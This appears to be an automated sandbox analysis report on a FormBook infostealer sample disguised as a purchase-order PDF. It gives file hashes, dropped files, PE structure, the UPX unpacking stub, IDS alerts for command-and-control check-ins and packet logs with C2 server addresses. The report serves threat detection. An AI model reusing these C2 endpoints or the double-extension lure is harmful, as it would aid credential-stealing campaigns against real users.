MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aut31CC.tmp

Download File

Process:	C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	50462
Entropy (8bit):	7.805523402671471
Encrypted:	false
SSDEEP:	1536:f7wfc8mmeqwfeVJ2Nn2ksyh3bu54d7SqE474:Dw6meqwf8C2ZyZyk7SqEW4
MD5:	7768F7B04100EAF3C76E855072EC1E82
SHA1:	B70FF99A2EFEDE8186A1C494254E9082AB0E43FD
SHA-256:	1DD577EFA154150DDDCF6B3F7735676736B15963526E6DBB420029C539ADEC5D
SHA-512:	1BBD4BD0C2C64091D89D4B0EF0483776ECD6B3CC590F2B4FD571B5338BB926DE858E409676B23674A074BA48ED585D72667A3868EC7B8F1374EE885D7C7555E4
Malicious:	false
Reputation:	low
Preview:	EA06.....I.....kV.T.TK,..+.].2.-..F..wI..e=.Mf....ae..&.Y..oH.R......r.Nf....a2.P&....m9.L'5..k>.R....sE.Q....aU.J&...a=.N....s@.Z.i.Fm`.J,39..ew.Z...fay.Xf.).zm=.Y'4).>k2.N.$.\|.e6.Yf...BaQ.R..i..m2.L....2i6...[...4..f...as..&....Q*.S&...^si.U,.9.Z.$.T.2...@..,....QD.Pf.Y..qg......qe..lT..gc...#....Q.I&...mE._'3.kQ...+.ns(..U)......)..l..6..s.\|..4..)3.t..b..hs)..a0..\|.i..a\|.Nf....qB..f.y..s6.I,R..mM.U&.P..0.L%S...6.N'....5..ksj..e9...9..w0....Y..as.Vf.Y..sQ.Yl...q&.U.2..z.`.S.i.l...H...q(..f.)..sW..v..6.Q&...d.p..'.[..c.X...$..e..,@......L%.i...q..'.+%viU._l.;4..h.^l..5^.h....a<.2..?..ms.S'....sm.......X.Q...5..Q.UlV...mE.M......0..)3.L..6..&s....5.M%..M.Uf.Y.6i..[f....4.c....9...(..&sj..M8.Nk....}4..i.....].Jl.5j.n....l..._....a:.^.Q...O9.Mn3I]..f.Y...E.. .X...<..e..\..+..0..-.kD.]8..j....s4..fVju..f.Y.Vi...b..i....a1.I........L.....@..'SY$..f.Y......X....9.".r.H./.L.0.L$.i8..=..'4.vk(.O.T.}....W....Zq$.L.s...Z..Y..i..mX.L)....U5.Mn.0...x.X

C:\Users\user\AppData\Local\Temp\definitization

Download File

Process:	C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe
File Type:	ASCII text, with very long lines (57348), with no line terminators
Category:	dropped
Size (bytes):	57348
Entropy (8bit):	5.7440570198461565
Encrypted:	false
SSDEEP:	1536:3npJpjLot+QAJVY69Jgl/pngvMhe28yJsSIRVQ5:Zzjsd6YnYMj8pfQ5
MD5:	B1A3D2BCD7A9848331D880A404EA8CCE
SHA1:	7F6969BE160DDD7429BC72413632386498DC5BE7
SHA-256:	05E8D8794663862FF93096094430B47E4959EF7B557A4DDC82089AFC5C2D5A07
SHA-512:	F9F9F9E6E0096FC99B8EE0D32E744A0076217E4223B94A2D14E601CFC195FD4210D6B48B73E9798FD9DE0461446E8BA88D4EC01C87136E5AEBCEFED4947151F5
Malicious:	false
Reputation:	low
Preview:	0&x`5!5V8RbDe.c+8w1+eDcFcfct0{2=050{0.0e5x6u517HbK8`6dbr090?0:020@086}69809\4%5>8K4-b39E6G5@0t0U0(0=080=6;6M8e9@4kdv8Q6`b(a37g2w0k0]0Y0y0a0R6^6=8d9B5O528;8Rbo826"e40k0P0Q0K0F0@62628_9L465R8ua3b49!6)5/0s0{060c0P06L6}8W9i4TdS8Vc$bSa-6%ct0#0f0C0a0D0A65638g9g5o5p8ee1bO8)3c3`0]0v0D0Q0$0}6u6E8\|9>4'5Q960Rb[9(3b2R0`0`0K0M0-0`676C8O9e4-dI9N2ob=aC24e00Z0=0f0&0\|09616-8B995g5%964$b!8-6M4T0E0v0^0L00x6M6P8>914d5!9[6Qb29g6_c20;0z020u0r0s6Y6%8z9Q4ed-9k8&bVa6^c`0N050m0\0{0#6>6g8(9U5b5l9Wa3n3cc60D6@6Y8d934<5u9^c\|b%9d6sek0b050.020Z0/6?6}8q9,8Bd]4U4}f3f1fhfyf`fWbha.7.4!0<0b050_0?0~6s6L8M9>9m5'416;fXfFf/fnfQfUbj8<6E440b030j0}0I0I6i6/839S8q5~4(8iffjf!f5f-fEbM9F6JcW0a0#0B0{0o036V6&8X9]8Ad>4oaMfQf7f]f)fIfZbna26Yc[0c0C020?0g0:6x6P8^9'9,5q4+c]fTfvfjfhfTf@b-8g2fe+090(0:0W070l6h6.8=9U8a5943e2fNfef8fbf0fJb_9H6E40010'0$030e0s6268889]8id:5$0xf(f.fTfgf7f8bVaS6Hcr0"0B0i0S0h0$6'6L8=9(9M5]5(2<f3f/fBf8f_f,bV8$63c:0e0-0W0f0V0&6X6C8L9885P5v4}f$fxfafkf*fR3L3Wca9[6s658~9283dv5Q6Ffhf-fYf?fBfeb1aJ7I5u0f0Y0W0m0J0{6=6\|8{9i

C:\Users\user\AppData\Local\Temp\proximobuccal

Download File

Process:	C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.994345059857177
Encrypted:	true
SSDEEP:	6144:CUxp9CNCkox3ARd/Ks3/fd7UnxqOLC3eKNjCdOxHu05puYPYdyc:Ci9Cqx3WRd7UrC/Nu4xHf4
MD5:	FDDBC447FB03CC8DAC81845B7B0D73C6
SHA1:	B93CD7384925ECD13A0D451D893517672BEA1594
SHA-256:	ED3F219497FCBBC69987E31549D460E1FF4A6114391A12A7090BB0CACB52A0F2
SHA-512:	E5A0DCE53ADB335ECA2B172EB39A591AE20AFE449BBFF8ABE8321215BB25CEE2DA84D9BA042E68E0EC67FFEFCA279A85798ACBA4F2958DBABDD060D22402E34F
Malicious:	false
Preview:	...g.Q7QM...].....DZ...y4Y...0T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ.ZQ7_R.<0.9.w.B..x.]3".!?.UB5].51-&+-qW?qE$#a[^ttz.p.' <.8W[.QMA20T0LWY.u$>..:6.l-&...l0$.^...f1P.W..hPR..+,d1R.Q7QMA20T`pVP.IEY...7QMA20T0.VRBCERQ5.U7QMA20T05.CCHDIQ5Z!3QMAr0T 5VPAHD_Q5ZQ7QMG20T05VPC8@YQ7ZQ7QMA00..5V@CHTYQ5ZA7Q]A20T05FPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T0."5;<DYQ..U7Q]A20.45V@CHDYQ5ZQ7QMA20t056PCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20T05VPCHDYQ5ZQ7QMA20

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.975429925599898
TrID:	Win32 Executable (generic) a (10002005/4) 99.39% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	PO-78140924.BAT.PDF.exe
File size:	1'085'440 bytes
MD5:	0c3d90f3a7607383e1e4a5da779b23f2
SHA1:	bf3452b178fe50a53d94498cd2efc777c993954b
SHA256:	4b3d9e2b4d5af94fe3953942fe920f42c3928a7c4c9d5ccd841bd1fac367690e
SHA512:	0227db6226986894591497b2ea75411dd198a06a6370c2902e6901813088b6fe1e279e8f64233663daf89660a8eaedf3ef95ba4d2a910dacaff54fd6c1dbbc9f
SSDEEP:	24576:r4GHnhIzOaWz4cTAKcvr2Nt0GUirujvK61BRM7KU:Ushdau/Srw/FKSar
TLSH:	2B3523E9E081D467E1B927B088764C991E247836ED947F0BD782E24EFD18347C637A2D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x58aac0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1251F [Mon Sep 23 08:21:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fc6683d30d9f25244a50fd5357825e79

Entrypoint Preview

Instruction
pushad
mov esi, 00535000h
lea edi, dword ptr [esi-00134000h]
push edi
jmp 00007F6FD8E075ADh
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F6FD8E075A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F6FD8E0758Fh
mov eax, 00000001h
add ebx, ebx
jne 00007F6FD8E075A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F6FD8E075ADh
jne 00007F6FD8E075CAh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F6FD8E075C1h
dec eax
add ebx, ebx
jne 00007F6FD8E075A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007F6FD8E07576h
add ebx, ebx
jne 00007F6FD8E075A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007F6FD8E075F4h
xor ecx, ecx
sub eax, 03h
jc 00007F6FD8E075B3h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F6FD8E07617h
sar eax, 1
mov ebp, eax
jmp 00007F6FD8E075ADh
add ebx, ebx
jne 00007F6FD8E075A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F6FD8E0756Eh
inc ecx
add ebx, ebx
jne 00007F6FD8E075A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F6FD8E07560h
add ebx, ebx
jne 00007F6FD8E075A9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F6FD8E07591h
jne 00007F6FD8E075ABh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F6FD8E07586h
add ecx, 02h
cmp ebp, FFFFFB00h
adc ecx, 02h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F6FD8E075B0h
mov al, byte ptr [edx]

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x23d8a8	0x424	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18b000	0xb28a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x23dccc	0xc	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x18aca4	0x48	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x134000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x135000	0x56000	0x55e00	2a390bc407fcab5ebe5211f8bcc0798d	False	0.9873970842430859	data	7.936151989520538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x18b000	0xb3000	0xb2e00	3113ea4e97a194f1d71fdd71bbe7b97d	False	0.9715902886967156	data	7.975752898020827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x18b5ac	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0x18b6d8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0x18b804	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0x18b930	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0x18bc1c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0x18bd48	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0x18cbf4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0x18d4a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0x18da0c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0x18ffb8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0x191064	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	empty	English	Great Britain	0
RT_STRING	0xcd4f0	0x594	empty	English	Great Britain	0
RT_STRING	0xcda84	0x68a	empty	English	Great Britain	0
RT_STRING	0xce110	0x490	empty	English	Great Britain	0
RT_STRING	0xce5a0	0x5fc	empty	English	Great Britain	0
RT_STRING	0xceb9c	0x65c	empty	English	Great Britain	0
RT_STRING	0xcf1f8	0x466	empty	English	Great Britain	0
RT_STRING	0xcf660	0x158	empty	English	Great Britain	0
RT_RCDATA	0x1914d0	0xabe3f	data			1.0003138923647457
RT_GROUP_ICON	0x23d314	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x23d390	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x23d3a8	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x23d3c0	0x14	data	English	Great Britain	1.25
RT_VERSION	0x23d3d8	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x23d4b8	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
ADVAPI32.dll	GetAce
COMCTL32.dll	ImageList_Remove
COMDLG32.dll	GetOpenFileNameW
GDI32.dll	LineTo
IPHLPAPI.DLL	IcmpSendEcho
MPR.dll	WNetUseConnectionW
ole32.dll	CoGetObject
OLEAUT32.dll	VariantInit
PSAPI.DLL	GetProcessMemoryInfo
SHELL32.dll	DragFinish
USER32.dll	GetDC
USERENV.dll	LoadUserProfileW
UxTheme.dll	IsThemeActive
VERSION.dll	VerQueryValueW
WININET.dll	FtpOpenFileW
WINMM.dll	timeGetTime
WSOCK32.dll	connect

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T15:22:25.684016+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49709	81.88.63.46	80	TCP
2024-09-26T15:22:25.684016+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49709	81.88.63.46	80	TCP
2024-09-26T15:22:41.399078+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49710	217.70.184.50	80	TCP
2024-09-26T15:22:43.918437+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49711	217.70.184.50	80	TCP
2024-09-26T15:22:46.510005+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49712	217.70.184.50	80	TCP
2024-09-26T15:22:49.195322+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49713	217.70.184.50	80	TCP
2024-09-26T15:22:49.195322+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49713	217.70.184.50	80	TCP
2024-09-26T15:22:54.968757+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49714	172.96.187.60	80	TCP
2024-09-26T15:22:57.503736+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49716	172.96.187.60	80	TCP
2024-09-26T15:23:00.059704+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49717	172.96.187.60	80	TCP
2024-09-26T15:23:02.624619+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49718	172.96.187.60	80	TCP
2024-09-26T15:23:02.624619+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49718	172.96.187.60	80	TCP
2024-09-26T15:23:08.176919+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49719	3.33.130.190	80	TCP
2024-09-26T15:23:11.813069+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49720	3.33.130.190	80	TCP
2024-09-26T15:23:13.466122+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49721	3.33.130.190	80	TCP
2024-09-26T15:23:16.977869+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49722	3.33.130.190	80	TCP
2024-09-26T15:23:16.977869+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49722	3.33.130.190	80	TCP
2024-09-26T15:23:22.709740+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49724	67.223.117.189	80	TCP
2024-09-26T15:23:25.262284+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49725	67.223.117.189	80	TCP
2024-09-26T15:23:27.824971+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49726	67.223.117.189	80	TCP
2024-09-26T15:23:31.454204+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49727	67.223.117.189	80	TCP
2024-09-26T15:23:31.454204+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49727	67.223.117.189	80	TCP
2024-09-26T15:23:38.628177+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49728	103.248.137.209	80	TCP
2024-09-26T15:23:41.173987+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49729	103.248.137.209	80	TCP
2024-09-26T15:23:43.720757+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49730	103.248.137.209	80	TCP
2024-09-26T15:24:06.264764+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49731	103.248.137.209	80	TCP
2024-09-26T15:24:06.264764+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49731	103.248.137.209	80	TCP
2024-09-26T15:24:19.848287+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49732	3.33.130.190	80	TCP
2024-09-26T15:24:22.382753+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49733	3.33.130.190	80	TCP
2024-09-26T15:24:24.949810+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49734	3.33.130.190	80	TCP
2024-09-26T15:24:27.494268+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49735	3.33.130.190	80	TCP
2024-09-26T15:24:27.494268+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49735	3.33.130.190	80	TCP
2024-09-26T15:24:32.994875+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49736	3.33.130.190	80	TCP
2024-09-26T15:24:35.552839+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49737	3.33.130.190	80	TCP
2024-09-26T15:24:38.092661+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49738	3.33.130.190	80	TCP
2024-09-26T15:24:40.651608+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49739	3.33.130.190	80	TCP
2024-09-26T15:24:40.651608+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49739	3.33.130.190	80	TCP
2024-09-26T15:24:46.627043+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49740	85.153.138.113	80	TCP
2024-09-26T15:24:49.258935+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49741	85.153.138.113	80	TCP
2024-09-26T15:24:51.979677+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49742	85.153.138.113	80	TCP
2024-09-26T15:24:54.672159+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49743	85.153.138.113	80	TCP
2024-09-26T15:24:54.672159+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49743	85.153.138.113	80	TCP
2024-09-26T15:25:00.942005+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49744	172.67.165.25	80	TCP
2024-09-26T15:25:03.909947+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49745	172.67.165.25	80	TCP
2024-09-26T15:25:07.014255+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49746	172.67.165.25	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 15:22:25.025877953 CEST	49709	80	192.168.2.5	81.88.63.46
Sep 26, 2024 15:22:25.030900002 CEST	80	49709	81.88.63.46	192.168.2.5
Sep 26, 2024 15:22:25.031044006 CEST	49709	80	192.168.2.5	81.88.63.46
Sep 26, 2024 15:22:25.040668964 CEST	49709	80	192.168.2.5	81.88.63.46
Sep 26, 2024 15:22:25.045550108 CEST	80	49709	81.88.63.46	192.168.2.5
Sep 26, 2024 15:22:25.683492899 CEST	80	49709	81.88.63.46	192.168.2.5
Sep 26, 2024 15:22:25.683912039 CEST	80	49709	81.88.63.46	192.168.2.5
Sep 26, 2024 15:22:25.684015989 CEST	49709	80	192.168.2.5	81.88.63.46
Sep 26, 2024 15:22:25.687313080 CEST	49709	80	192.168.2.5	81.88.63.46
Sep 26, 2024 15:22:25.692986012 CEST	80	49709	81.88.63.46	192.168.2.5
Sep 26, 2024 15:22:40.761929035 CEST	49710	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:40.766916990 CEST	80	49710	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:40.767004013 CEST	49710	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:40.778537035 CEST	49710	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:40.783373117 CEST	80	49710	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:41.397710085 CEST	80	49710	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:41.398663044 CEST	80	49710	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:41.399077892 CEST	49710	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:42.283520937 CEST	49710	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:43.304529905 CEST	49711	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:43.309376955 CEST	80	49711	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:43.309511900 CEST	49711	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:43.321964979 CEST	49711	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:43.326798916 CEST	80	49711	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:43.918278933 CEST	80	49711	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:43.918340921 CEST	80	49711	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:43.918437004 CEST	49711	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:44.830796003 CEST	49711	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:45.849092960 CEST	49712	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:45.853943110 CEST	80	49712	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:45.854037046 CEST	49712	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:45.866069078 CEST	49712	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:45.870929003 CEST	80	49712	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:45.871089935 CEST	80	49712	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:46.509876013 CEST	80	49712	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:46.509916067 CEST	80	49712	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:46.510004997 CEST	49712	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:47.377974987 CEST	49712	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:48.396157980 CEST	49713	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:48.585870981 CEST	80	49713	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:48.586039066 CEST	49713	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:48.595016956 CEST	49713	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:48.599879026 CEST	80	49713	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:49.195121050 CEST	80	49713	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:49.195178032 CEST	80	49713	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:49.195211887 CEST	80	49713	217.70.184.50	192.168.2.5
